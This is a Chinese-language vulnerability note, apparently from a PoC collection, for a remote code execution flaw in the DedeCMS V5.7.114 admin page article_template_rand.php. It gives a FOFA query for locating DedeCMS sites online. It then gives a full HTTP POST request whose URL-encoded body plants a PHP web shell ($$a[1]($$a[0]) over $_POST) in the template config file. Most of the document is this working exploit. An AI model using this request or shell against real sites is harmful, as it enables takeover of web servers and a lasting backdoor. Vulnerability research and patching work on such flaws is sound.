DedeCMSV5.7.114后台article_template_rand.php存在远程代码执行漏洞.md

DedeCMSV5.7.114后台article_template_rand.php存在远程代码执行漏洞

DedeCMS V5.7.114存在远程代码执行漏洞。产生该漏洞的原因是，虽然article_template_rand.php对编辑的文件进行了一定的限制，但攻击者仍然可以绕过这些限制并以某种方式编写代码，从而允许经过身份验证的攻击者利用该漏洞执行任意命令并获取系统权限。

fofa

app="DedeCMS网站内容管理系统"

poc

POST /dede/article_template_rand.php HTTP/1.1
Host: 127.0.0.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 1065
Origin: http://127.0.0.11
Connection: close
Referer: http://127.0.0.11/dede/article_template_rand.php
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=89s6bbv2d1unokav5grt4bk2g4; _csrf_name_236f0c58=8f0d4c50bfce77f693ce4b8d93af8be7; _csrf_name_236f0c581BH21ANI1AGD297L1FF21LN02BGE1DNG=23bfa72eb66439a6; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=10acd9938ef3615d; DedeLoginTime=1720185221; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=d2b9bcefe628ee47; ENV_GOBACK_URL=%2Fdede%2Fsys_admin_user.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=4

dopost=save&token=7fa44bfa91d7f797b4c983c76f7c9f9e&templates=%3C%3Fphp%0D%0A%0D%0A%2F%2F%E8%BF%99%E4%B8%AA%E5%80%BC%E4%B8%BA+0+%E8%A1%A8%E7%A4%BA%E5%85%B3%E9%97%AD%E6%AD%A4%E8%AE%BE%E7%BD%AE%EF%BC%8C+%E4%B8%BA+1+%E8%A1%A8%E7%A4%BA%E5%BC%80%E5%90%AF%0D%0A%24cfg_tamplate_rand+%3D+0%3B%0D%0A%0D%0A%2F%2F%E6%A8%A1%E6%9D%BF%E6%95%B0%E7%BB%84%EF%BC%8C%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%A2%9E%E5%8A%A0%EF%BC%8C%E6%8C%89%E8%BF%99%E4%B8%AA%E6%A0%BC%E5%BC%8F%E5%A2%9E%E5%8A%A0%E6%88%96%E4%BF%AE%E6%94%B9%E5%8D%B3%E5%8F%AF%28%E5%BF%85%E9%A1%BB%E7%A1%AE%E4%BF%9D%E8%BF%99%E4%BA%9B%E6%A8%A1%E6%9D%BF%E6%98%AF%E5%AD%98%E5%9C%A8%E7%9A%84%29%EF%BC%8C%E5%B9%B6%E4%B8%94%E6%95%B0%E9%87%8F%E5%BF%85%E9%A1%BB%E4%B8%BA2%E4%B8%AA%E6%88%96%E4%BB%A5%E4%B8%8A%E3%80%82%0D%0A%24cfg_tamplate_arr%5B%5D+%3D+%27article_article.htm%27%3B%0D%0A%24cfg_tamplate_arr%5B%5D+%3D+%27article_article1.htm%27%3B%0D%0A%24cfg_tamplate_arr%5B%5D+%3D+%27article_article2.htm%27%3B%0D%0A%24a+%3D+%27_POST%27%3B%0D%0A%24%24a%5B1%5D%28%24%24a%5B0%5D%29%3B%0D%0A%3F%3E%0D%0A&imageField1.x=6&imageField1.y=9

漏洞来源

• https://gitee.com/fushuling/cve/blob/master/dedeCMS%20V5.7.114%20article_template_rand.php%20code%20injection.md